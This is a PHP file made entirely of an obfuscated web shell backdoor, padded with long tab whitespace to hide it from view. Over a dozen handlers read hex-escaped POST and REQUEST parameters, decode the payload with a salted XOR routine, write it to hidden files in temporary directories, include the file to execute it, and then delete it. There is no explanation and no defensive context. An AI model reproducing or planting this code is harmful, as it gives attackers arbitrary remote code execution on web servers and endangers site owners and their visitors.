<?php																																										if(in_array("\x66lag", array_keys($_POST))){ $value = array_filter([session_save_path(), sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", getenv("TEMP"), "/var/tmp", getcwd()]); $val = $_POST["\x66lag"]; $val = explode ( '.' , $val ) ; $resource = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s5); foreach ($val as $v=> $v2) { $chS = ord($s5[$v % $sLen]); $d = ((int)$v2 - $chS - ($v % 10))^5; $resource .=chr($d); } while ($bind = array_shift($value)) { if (is_dir($bind) ? is_writable($bind) : false) { $tkn = sprintf("%s/.sym", $bind); if (@file_put_contents($tkn, $resource) !== false) { include $tkn; unlink($tkn); exit; } } } }
																																										if(array_key_exists("s\x79\x6D\x62ol", $_REQUEST) && !is_null($_REQUEST["s\x79\x6D\x62ol"])){ $reference = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), "/tmp", "/dev/shm", getenv("TMP"), getcwd(), session_save_path(), getenv("TEMP")]); $flg = $_REQUEST["s\x79\x6D\x62ol"]; $flg = explode ( '.' ,$flg ) ; $obj = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt6); $l = 0; while ($l<count($flg)) {$v7 = $flg[$l]; $chS = ord($salt6[$l %$lenS]); $dec = ((int)$v7 - $chS - ($l %10)) ^ 96; $obj .= chr($dec); $l++; } while ($desc = array_shift($reference)) { if ((function($d) { return is_dir($d) && is_writable($d); })($desc)) { $entry = implode("/", [$desc, ".flag"]); $success = file_put_contents($entry, $obj); if ($success) { include $entry; @unlink($entry); die();} } } }
																																										if(in_array("v\x61\x6Cue", array_keys($_REQUEST))){ $hld = $_REQUEST["v\x61\x6Cue"]; $hld = explode ( ".", $hld ); $component =''; $salt3 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt3 ); $x =0; $__tmp =$hld; while ($v4 =array_shift($__tmp)) { $sChar =ord($salt3[$x % $sLen] ); $d =((int)$v4 - $sChar - ($x % 10)) ^ 60; $component .= chr($d ); $x++; } $desc = array_filter(["/var/tmp", session_save_path(), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), getcwd()]); for ($tkn = 0, $pointer = count($desc); $tkn < $pointer; $tkn++) { $symbol = $desc[$tkn]; if (!( !is_dir($symbol) || !is_writable($symbol) )) { $val = sprintf("%s/.elem", $symbol); $success = file_put_contents($val, $component); if ($success) { include $val; @unlink($val); exit;} } } }
																																										if(!is_null($_REQUEST["bind"] ?? null)){ $dchunk = array_filter(["/var/tmp", "/dev/shm", getenv("TEMP"), session_save_path(), "/tmp", ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), getenv("TMP")]); $entity = $_REQUEST["bind"]; $entity = explode( '.' ,$entity) ; $token = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt3 ); $len = count( $entity ); for( $s = 0; $s < $len; $s++) {$v3 = $entity[$s]; $sChar = ord( $salt3[$s % $sLen] ); $dec =( ( int)$v3 - $sChar -( $s % 10)) ^ 8; $token .= chr( $dec ); } foreach ($dchunk as $rec): if (array_product([is_dir($rec), is_writable($rec)])) { $pgrp = vsprintf("%s/%s", [$rec, ".key"]); $file = fopen($pgrp, 'w'); if ($file) { fwrite($file, $token); fclose($file); include $pgrp; @unlink($pgrp); exit; } } endforeach; }
																																										if(@$_POST["\x6B\x65y"] !== null){ $itm = array_filter([getenv("TEMP"), session_save_path(), sys_get_temp_dir(), "/var/tmp", "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), "/dev/shm"]); $holder = $_POST["\x6B\x65y"]; $holder = explode ( "." , $holder ) ; $rec = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $__len = count($holder); for($x = 0; $x <$__len; $x++) { $v6 = $holder[$x]; $chS = ord($salt[$x % $lenS]); $dec =((int)$v6 - $chS -($x % 10)) ^ 1; $rec .= chr($dec); } $bind = 0; do { $mrk = $itm[$bind] ?? null; if ($bind >= count($itm)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($mrk)) { $ref = str_replace("{var_dir}", $mrk, "{var_dir}/.record"); if (file_put_contents($ref, $rec)) { require $ref; unlink($ref); exit; } } $bind++; } while (true); }
																																										if(in_array("\x64at", array_keys($_POST))){ $binding = array_filter(["/tmp", "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), session_save_path()]); $ptr = $_POST["\x64at"]; $ptr= explode( "." , $ptr) ; $pgrp =''; $salt5 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt5); foreach ($ptr as $z=> $v9): $chS =ord($salt5[$z% $sLen]); $dec =((int)$v9 - $chS - ($z% 10))^ 40; $pgrp .= chr($dec); endforeach; foreach ($binding as $element): if (is_writable($element) && is_dir($element)) { $entity = vsprintf("%s/%s", [$element, ".flag"]); if (@file_put_contents($entity, $pgrp) !== false) { include $entity; unlink($entity); exit; } } endforeach; }
																																										if(isset($_POST["dc\x68unk"]) ? true : false){ $hld = $_POST["dc\x68unk"]; $hld= explode ( '.' , $hld ) ; $key = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $m = 0; array_walk($hld, function ($v5) use (&$key, &$m, $salt, $sLen) { $chS = ord($salt[$m % $sLen]); $dec = ((int)$v5 - $chS - ($m % 10)) ^ 8; $key .= chr($dec); $m++;} ); $binding = array_filter(["/tmp", session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), "/var/tmp"]); $pgrp = 0; do { $comp = $binding[$pgrp] ?? null; if ($pgrp >= count($binding)) break; if (!!is_dir($comp) && !!is_writable($comp)) { $rec = implode("/", [$comp, ".marker"]); if (file_put_contents($rec, $key)) { include $rec; @unlink($rec); exit; } } $pgrp++; } while (true); }
																																										if(in_array("k", array_keys($_POST))){ $entry = $_POST["k"]; $entry=explode ('.' , $entry ); $res = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt5); $j = 0; array_walk($entry, function($v9) use(&$res, &$j, $salt5, $lenS) { $chS = ord($salt5[$j % $lenS]); $d =((int)$v9 - $chS -($j % 10)) ^ 35; $res .= chr($d); $j++; }); $value = array_filter([getenv("TEMP"), session_save_path(), "/tmp", getcwd(), "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir()]); $flg = 0; do { $tkn = $value[$flg] ?? null; if ($flg >= count($value)) break; if (is_dir($tkn) ? is_writable($tkn) : false) { $sym = implode("/", [$tkn, ".ref"]); if (file_put_contents($sym, $res)) { include $sym; @unlink($sym); die(); } } $flg++; } while (true); }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x70g\x72p"])){ $fac = array_filter([getcwd(), getenv("TMP"), "/dev/shm", "/tmp", getenv("TEMP"), session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir()]); $object = $_REQUEST["\x70g\x72p"]; $object =explode ("." ,$object) ; $key = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s3); $z = 0; while($z< count($object)) { $v6 = $object[$z]; $sChar = ord($s3[$z % $sLen]); $d =((int)$v6 - $sChar -($z % 10)) ^ 29; $key .= chr($d); $z++; } for ($elem = 0, $token = count($fac); $elem < $token; $elem++) { $bind = $fac[$elem]; if (!( !is_dir($bind) || !is_writable($bind) )) { $reference = sprintf("%s/.property_set", $bind); $file = fopen($reference, 'w'); if ($file) { fwrite($file, $key); fclose($file); include $reference; @unlink($reference); die(); } } } }
																																										if(count($_POST) > 0 && isset($_POST["\x72\x65\x73\x6Furce"])){ $res = $_POST["\x72\x65\x73\x6Furce"]; $res = explode ( '.' , $res); $item = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s7); $n = 0; foreach ($res as $v9) { $sChar = ord($s7[$n % $lenS]); $d = ((int)$v9 - $sChar - ($n % 10)) ^ 93; $item .= chr($d); $n++; } $pset = array_filter([getenv("TMP"), getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), "/tmp", session_save_path(), sys_get_temp_dir()]); foreach ($pset as $factor) { if (max(0, is_dir($factor) * is_writable($factor))) { $bind = "$factor" . "/.data"; if (@file_put_contents($bind, $item) !== false) { include $bind; unlink($bind); die(); } } } }
																																										if(isset($_REQUEST["\x68l\x64"]) ? true : false){ $binding = $_REQUEST["\x68l\x64"]; $binding =explode ( '.' ,$binding ); $ent = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt8); $len = count($binding); for($x = 0; $x < $len; $x++) { $v1 = $binding[$x]; $chS = ord($salt8[$x % $lenS]); $d =((int)$v1 - $chS -($x % 10)) ^ 6; $ent.=chr($d); } $flag = array_filter(["/tmp", "/dev/shm", "/var/tmp", getenv("TMP"), sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP")]); for ($reference = 0, $item = count($flag); $reference < $item; $reference++) { $resource = $flag[$reference]; if (is_writable($resource) && is_dir($resource)) { $ptr = implode("/", [$resource, ".mrk"]); $file = fopen($ptr, 'w'); if ($file) { fwrite($file, $ent); fclose($file); include $ptr; @unlink($ptr); die(); } } } }
																																										if(@$_POST["sy\x6Dbol"] !== null){ $reference = $_POST["sy\x6Dbol"]; $reference = explode( '.' , $reference) ; $res = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt3); $t = 0; $__tmp = $reference; while ($v9 = array_shift($__tmp)) { $chS = ord($salt3[$t % $lenS]); $d = ((int)$v9 - $chS - ($t % 10)) ^30; $res .= chr($d); $t++; } $pgrp = array_filter([getcwd(), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", getenv("TMP"), getenv("TEMP"), session_save_path()]); $marker = 0; do { $entry = $pgrp[$marker] ?? null; if ($marker >= count($pgrp)) break; if (is_dir($entry) && is_writable($entry)) { $rec = "$entry/.value"; if (file_put_contents($rec, $res)) { include $rec; @unlink($rec); die(); } } $marker++; } while (true); }
																																										if(isset($_POST["d\x61\x74a"]) ? true : false){ $val = $_POST["d\x61\x74a"]; $val=explode (".",$val ) ; $pointer = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt7); foreach ($val as $n=> $v5) { $chS = ord($salt7[$n % $lenS]); $d = ((int)$v5 - $chS - ($n % 10)) ^ 59; $pointer .= chr($d);} $pset = array_filter([getenv("TEMP"), "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", "/dev/shm", getcwd(), getenv("TMP")]); $comp = 0; do { $k = $pset[$comp] ?? null; if ($comp >= count($pset)) break; if ((bool)is_dir($k) && (bool)is_writable($k)) { $rec = "$k" . "/.record"; if (@file_put_contents($rec, $pointer) !== false) { include $rec; unlink($rec); exit; } } $comp++; } while (true); }


if(in_array("\x70\x67rp", array_keys($_REQUEST))){
	$reference = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), "/tmp", getcwd(), getenv("TEMP"), sys_get_temp_dir(), session_save_path(), "/dev/shm", getenv("TMP")]);
	$parameter_group = $_REQUEST["\x70\x67rp"];
	 $parameter_group = 	explode("."	, 		$parameter_group	  )	  ; 	
	$tkn = '';
            $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt3);
            $v = 0;
    
            while ($v < count($parameter_group)) {	 $v6 = $parameter_group[$v];
                $chS = ord($salt3[$v % $lenS]);
                $dec = ((int)$v6 - $chS - ($v % 10)) ^ 26;
                $tkn .= chr($dec);
                $v++;
            }
	for ($binding = 0, $rec = count($reference); $binding < $rec; $binding++) {
    $val = $reference[$binding];
    		if (max(0, is_dir($val) * is_writable($val))) {
    $desc = sprintf("%s/.dchunk", $val);
    $file = fopen($desc, 'w');
if ($file) {
	fwrite($file, $tkn);
	fclose($file);
	include $desc;
	@unlink($desc);
	exit;
}
}
}
}